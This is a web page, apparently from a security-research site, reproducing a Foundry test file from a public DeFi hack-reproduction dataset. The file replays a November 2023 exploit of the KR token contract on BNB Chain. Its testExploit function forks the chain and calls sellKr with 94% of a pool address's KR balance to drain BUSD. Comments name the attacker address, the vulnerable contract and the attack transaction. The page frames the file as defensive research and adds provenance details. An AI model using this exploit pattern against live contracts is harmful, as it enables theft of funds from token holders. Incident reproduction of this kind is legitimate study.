Public reproduction file

src/test/2023-11/KR_exp.sol

Public reproduction file for dataset entry KR.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/KR_exp.sol40 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~5 $ETH
5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
6// Vulnerable Contract : https://bscscan.com/address/0x15b1ed79ca9d7955af3e169d7b323c4f1eeb5d12
7// Attack Tx : https://bscscan.com/tx/0x2abf871eb91d03bc8145bf2a415e79132a103ae9f2b5bbf18b8342ea9207ccd7
8 
9import "forge-std/Test.sol";
10import "./../interface.sol";
11 
12interface IKR is IERC20 {
13    function sellKr(
14        uint256 tokenToSell
15    ) external;
16}
17 
18contract ContractTest is Test {
19    IERC20 BNBX = IERC20(0xF662457774bb0729028EA681BB2C001790999999);
20    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
21    IKR KR = IKR(0x15b1Ed79cA9D7955AF3E169d7B323c4F1eeb5D12);
22    uint256 tokenToSell;
23 
24    function setUp() public {
25        vm.createSelectFork("bsc", 33_267_985 - 1);
26        vm.label(address(KR), "KR");
27        vm.label(address(BUSD), "BUSD");
28    }
29 
30    function testExploit() public {
31        BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));
32        emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));
33        tokenToSell = KR.balanceOf(address(0xAD1e7BF0A469b7B912D2B9d766d0C93291cA2656)) * 94 / 100;
34        KR.sellKr(tokenToSell);
35        emit log_named_decimal_uint("Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), 18);
36    }
37 
38    fallback() external payable {}
39    receive() external payable {}
40}

Analysis

Dataset entry

Public Foundry test for “KR” (2023-11-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x835b45d38cbdccf99e609436ff38e31ac05bc502
Vulnerable Contract
0x15b1ed79ca9d7955af3e169d7b323c4f1eeb5d12

Attack Tx
0x2abf871eb91d03bc8145bf2a415e79132a103ae9f2b5bbf18b8342ea9207ccd7

File record

Name: KR
Path: src/test/2023-11/KR_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: b1178cf53cba1af1abaa561103de730595e33113
Language: Solidity
Size: 41 lines
Date: 2023-11-06
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-11/KR_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b1178cf53cba1af1abaa561103de730595e33113, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.